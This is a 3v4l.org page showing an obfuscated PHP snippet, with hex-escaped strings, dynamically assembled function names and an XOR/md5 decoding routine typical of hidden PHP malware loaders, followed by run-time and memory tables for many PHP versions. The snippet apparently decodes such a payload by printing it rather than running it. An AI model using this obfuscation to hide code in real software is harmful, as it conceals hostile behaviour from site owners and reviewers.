3v4l.org

run code in 300+ PHP versions simultaneously
<?php function en2($s, $q) { $l="strlen"; $p="pack"; $r="substr"; $m="md5"; $g=""; while(strlen($g)<strlen($s)) { $q = pack("H*",$m($g.$q."q1w2e3r4")); $g.=$r($q,0,8); } return $s^$g; } $g="\x20\167\x2d\70\x36794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\x33\54\x67\75\x20\167\x2e\40\x72\73\x20\155\x2d\70"."6d944835,sq-873964872937873960\x38\66\x63\71\x35\61\x38\67\x34\42\x3b"; $soy = "en2"; $xx="explode"; $ecx="create_function"; $scy="str_replace"; $a = $xx("|","\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44"); $aa = $xx("|","8|9|-|,| "); $mec=$ecx; for($i=0;$i<sizeof($a);$i++) { $g = $scy($aa[$i],$a[$i],$g); } print($g."//"); print($soy("\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy));

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0090.00918.55
8.3.50.0120.00621.14
8.3.40.0140.00018.82
8.3.30.0160.00320.16
8.3.20.0050.00220.39
8.3.10.0090.00022.09
8.3.00.0070.00022.51
8.2.180.0080.01216.50
8.2.170.0040.01122.96
8.2.160.0030.01222.25
8.2.150.0040.00424.18
8.2.140.0050.00324.66
8.2.130.0040.00426.16
8.2.120.0000.00720.62
8.2.110.0090.00019.26
8.2.100.0040.00717.91
8.2.90.0040.00419.35
8.2.80.0030.00617.97
8.2.70.0060.00317.37
8.2.60.0050.00517.93
8.2.50.0000.00818.07
8.2.40.0040.00418.09
8.2.30.0080.00019.37
8.2.20.0000.00817.75
8.2.10.0060.00317.68
8.2.00.0070.00417.83
8.1.280.0040.01125.92
8.1.270.0070.00023.99
8.1.260.0040.00426.35
8.1.250.0090.00028.09
8.1.240.0100.00022.59
8.1.230.0040.00820.93
8.1.220.0080.00018.77
8.1.210.0050.00319.10
8.1.200.0030.00617.23
8.1.190.0000.00817.53
8.1.180.0000.00818.10
8.1.170.0090.00018.65
8.1.160.0000.00818.82
8.1.150.0040.00418.62
8.1.140.0000.00717.48
8.1.130.0040.00417.88
8.1.120.0030.00717.40
8.1.110.0040.00417.49
8.1.100.0000.00717.41
8.1.90.0020.00517.50
8.1.80.0070.00017.46
8.1.70.0000.00717.37
8.1.60.0040.00417.62
8.1.50.0000.00717.51
8.1.40.0000.01217.56
8.1.30.0000.00717.60
8.1.20.0050.00317.68
8.1.10.0030.00517.60
8.1.00.0040.00417.51
8.0.300.0050.00219.98
8.0.290.0040.00417.16
8.0.280.0000.00718.39
8.0.270.0000.00717.24
8.0.260.0070.00016.72
8.0.250.0000.00716.96
8.0.240.0040.00416.98
8.0.230.0040.00416.86
8.0.220.0000.00716.87
8.0.210.0000.00816.80
8.0.200.0040.00416.97
8.0.190.0000.00816.86
8.0.180.0070.00016.80
8.0.170.0090.00016.96
8.0.160.0070.00016.96
8.0.150.0040.00416.84
8.0.140.0000.01216.89
8.0.130.0000.00613.36
8.0.120.0040.00416.77
8.0.110.0040.00416.75
8.0.100.0050.00216.88
8.0.90.0040.00416.97
8.0.80.0090.00616.91
8.0.70.0000.00716.90
8.0.60.0040.00416.80
8.0.50.0040.00416.87
8.0.30.0140.00317.04
8.0.20.0080.01017.40
8.0.10.0050.00317.07
8.0.00.0090.01116.86
7.4.330.0000.00616.89
7.4.320.0030.00316.63
7.4.300.0060.00016.43
7.4.290.0030.00316.51
7.4.280.0000.00716.50
7.4.270.0040.00416.50
7.4.260.0030.00313.27
7.4.250.0000.00716.48
7.4.240.0000.00716.58
7.4.230.0050.00316.43
7.4.220.0190.00616.52
7.4.210.0070.00716.62
7.4.200.0000.00716.56
7.4.190.0040.00416.62
7.4.160.0060.00916.45
7.4.150.0140.00717.40
7.4.140.0250.01417.86
7.4.130.0080.01116.55
7.4.120.0140.00316.55
7.4.110.0100.00716.50
7.4.100.0090.00916.69
7.4.90.0130.00316.73
7.4.80.0100.00619.39
7.4.70.0100.00616.68
7.4.60.0100.00616.41
7.4.50.0030.00616.53
7.4.40.0110.00422.77
7.4.30.0060.01016.40
7.4.00.0080.00814.93
7.3.330.0000.00513.26
7.3.320.0070.00013.41
7.3.310.0030.00316.38
7.3.300.0030.00316.27
7.3.290.0080.00616.39
7.3.280.0060.01216.37
7.3.270.0100.00717.40
7.3.260.0150.00616.32
7.3.250.0150.00316.59
7.3.240.0070.01316.71
7.3.230.0070.01016.47
7.3.210.0140.00716.37
7.3.200.0090.01219.39
7.3.190.0090.01216.51
7.3.180.0140.00416.45
7.3.170.0120.00316.32
7.3.160.0040.01516.36
7.3.120.0070.01015.09
7.3.110.0100.00714.72
7.3.100.0100.00715.15
7.3.90.0000.01114.87
7.3.80.0030.01315.04
7.3.70.0040.01114.91
7.3.60.0090.00614.65
7.3.50.0070.00314.84
7.3.40.0070.00714.34
7.3.30.0000.01014.89
7.3.20.0090.00916.46
7.3.10.0070.00616.38
7.3.00.0050.00716.72
7.2.330.0090.00916.82
7.2.320.0120.00616.72
7.2.310.0110.00816.84
7.2.300.0070.01016.71
7.2.290.0130.00316.80
7.2.240.0060.00914.70
7.2.230.0000.01314.96
7.2.220.0030.01314.79
7.2.210.0030.01414.98
7.2.200.0000.01115.10
7.2.190.0000.01514.78
7.2.180.0090.00615.04
7.2.170.0000.01815.14
7.2.160.0060.01015.27
7.2.150.0060.01016.83
7.2.140.0090.00916.67
7.2.130.0030.01017.05
7.2.120.0100.00616.83
7.2.110.0040.01116.76
7.2.100.0050.00916.85
7.2.90.0080.00517.00
7.2.80.0070.00716.73
7.2.70.0100.00516.99
7.2.60.0060.00616.80
7.2.50.0020.01316.63
7.2.40.0090.00516.76
7.2.30.0050.01017.04
7.2.20.0040.00916.86
7.2.10.0060.00816.97
7.2.00.0080.00517.74
7.1.330.0100.00715.91
7.1.320.0110.00415.85
7.1.310.0090.00315.97
7.1.300.0030.01015.61
7.1.290.0070.00715.96
7.1.280.0060.00915.77
7.1.270.0040.00715.55
7.1.260.0150.00015.69
7.1.250.0060.00715.59
7.1.200.0100.00315.77
7.1.100.0110.00018.00
7.1.70.0080.00017.29
7.1.60.0070.01719.17
7.1.50.0030.01016.92
7.1.00.0070.03022.51
7.0.200.0000.00716.57
7.0.140.0030.07321.99
7.0.100.0030.08320.04
7.0.90.0130.07720.01
7.0.80.0130.04019.92
7.0.70.0000.05719.92
7.0.60.0000.06019.97
7.0.50.0100.05720.34
7.0.40.0000.05320.00
7.0.30.0100.05019.99
7.0.20.0200.04320.18
7.0.10.0130.05020.18
7.0.00.0000.07720.05
5.6.250.0070.04320.60
5.6.240.0130.04320.71
5.6.230.0100.04720.54
5.6.220.0030.05720.52
5.6.210.0070.04720.50
5.6.200.0130.05721.01
5.6.190.0070.04320.94
5.6.180.0100.05721.05
5.6.170.0100.04320.99
5.6.160.0130.06721.18
5.6.150.0070.05720.96
5.6.140.0170.04021.06
5.6.130.0100.08320.96
5.6.120.0070.07020.95
5.6.110.0100.06321.07
5.6.100.0100.04321.04
5.6.90.0070.06020.98
5.6.80.0030.06020.40
5.6.70.0130.05320.49
5.6.60.0170.07020.46
5.6.50.0130.04020.44
5.6.40.0130.05720.36
5.6.30.0100.06320.40
5.6.20.0130.05720.46
5.6.10.0000.07720.40
5.6.00.0100.06320.38
5.5.380.0100.04020.37
5.5.370.0000.05020.39
5.5.360.0030.04320.51
5.5.350.0100.04320.34
5.5.340.0070.05720.87
5.5.330.0030.04720.81
5.5.320.0030.05020.79
5.5.310.0200.07320.73
5.5.300.0070.05720.80
5.5.290.0070.06320.89
5.5.280.0130.05020.80
5.5.270.0070.06720.91
5.5.260.0100.08320.78
5.5.250.0200.06020.59
5.5.240.0070.04320.30
5.5.230.0100.07320.30
5.5.220.0100.06020.30
5.5.210.0070.06720.21
5.5.200.0000.04720.21
5.5.190.0100.04720.26
5.5.180.0030.08020.11
5.5.160.0000.05720.19
5.5.150.0070.04720.11
5.5.140.0100.04320.26
5.5.130.0070.04720.25
5.5.120.0100.05320.16
5.5.110.0130.04720.23
5.5.100.0030.07020.09
5.5.90.0000.05320.07
5.5.80.0030.04319.96
5.5.70.0000.04320.07
5.5.60.0000.04319.94
5.5.50.0030.05020.10
5.5.40.0100.03320.08
5.5.30.0070.07320.05
5.5.20.0100.06720.06
5.5.10.0070.06020.05
5.5.00.0030.06319.97
5.4.450.0070.06719.20
5.4.440.0070.06019.36
5.4.430.0030.05719.22
5.4.420.0170.06319.20
5.4.410.0100.05319.24
5.4.400.0070.06719.10
5.4.390.0000.04319.04
5.4.380.0070.05319.13
5.4.370.0070.04319.21
5.4.360.0070.07719.02
5.4.350.0100.07019.05
5.4.340.0030.04318.88
5.4.320.0070.05319.04
5.4.310.0070.07319.18
5.4.300.0000.04319.16
5.4.290.0130.03319.04
5.4.280.0070.05019.13
5.4.270.0070.04719.17
5.4.260.0100.05319.04
5.4.250.0070.04019.02
5.4.240.0130.05019.08
5.4.230.0070.05318.94
5.4.220.0070.04719.20
5.4.210.0000.05019.20
5.4.200.0030.04019.02
5.4.190.0100.04019.17
5.4.180.0100.07319.08
5.4.170.0030.04319.11
5.4.160.0000.05319.07
5.4.150.0070.06719.01
5.4.140.0130.05716.25
5.4.130.0070.07716.24
5.4.120.0100.07016.45
5.4.110.0100.05716.33
5.4.100.0000.05716.36
5.4.90.0030.05016.36
5.4.80.0100.03016.34
5.4.70.0030.06016.34
5.4.60.0100.06016.46
5.4.50.0070.04316.48
5.4.40.0000.04316.39
5.4.30.0070.05716.47
5.4.20.0130.05316.45
5.4.10.0000.04716.36
5.4.00.0030.04315.86
5.3.290.0070.05314.72
5.3.280.0100.07014.55
5.3.270.0100.05314.57
5.3.260.0030.07014.75
5.3.250.0070.06314.59
5.3.240.0070.06014.66
5.3.230.0070.06714.69
5.3.220.0100.05714.60
5.3.210.0130.05314.70
5.3.200.0030.05714.63
5.3.190.0100.04314.50
5.3.180.0100.04314.58
5.3.170.0030.04314.51
5.3.160.0030.04014.52
5.3.150.0130.05014.67
5.3.140.0070.04714.55
5.3.130.0070.05014.50
5.3.120.0030.04714.59
5.3.110.0070.05314.57
5.3.100.0030.05014.09
5.3.90.0030.05314.14
5.3.80.0100.07014.15
5.3.70.0030.06314.04
5.3.60.0000.06013.89
5.3.50.0030.06014.00
5.3.40.0100.07314.04
5.3.30.0070.05013.89
5.3.20.0130.03713.80
5.3.10.0070.03313.68
5.3.00.0100.03713.75
5.2.170.0100.03311.15
5.2.160.0170.02711.22
5.2.150.0030.05311.06
5.2.140.0100.03711.17
5.2.130.0030.04311.12
5.2.120.0000.04011.09
5.2.110.0070.03010.98
5.2.100.0000.03311.16
5.2.90.0070.03011.22
5.2.80.0030.04711.09
5.2.70.0070.04311.22
5.2.60.0070.04310.91
5.2.50.0000.04310.91
5.2.40.0000.03311.02
5.2.30.0070.04311.07
5.2.20.0070.02710.91
5.2.10.0100.04010.92
5.2.00.0030.03010.79
5.1.60.0030.02710.66
5.1.50.0070.03310.66
5.1.40.0030.02310.66
5.1.30.0000.03010.66
5.1.20.0000.03010.66
5.1.10.0000.03010.66
5.1.00.0030.03010.66
5.0.50.0000.02310.66
5.0.40.0030.01710.66
5.0.30.0000.03010.66
5.0.20.0030.01710.66
5.0.10.0000.02010.66
5.0.00.0030.03010.66
4.4.90.0030.02310.66
4.4.80.0000.02310.66
4.4.70.0070.01010.66
4.4.60.0070.01310.66
4.4.50.0000.02010.66
4.4.40.0030.02710.66
4.4.30.0000.01710.66
4.4.20.0000.01710.66
4.4.10.0070.01310.66
4.4.00.0000.02710.66
4.3.110.0030.01310.66
4.3.100.0030.01310.66
4.3.90.0000.01710.66
4.3.80.0000.02710.66
4.3.70.0030.01010.66
4.3.60.0030.01010.66
4.3.50.0030.01010.66
4.3.40.0000.02010.66
4.3.30.0030.01010.66
4.3.20.0070.00710.66
4.3.10.0000.01710.66
4.3.00.0000.01310.66

preferences:
37.28 ms | 401 KiB | 5 Q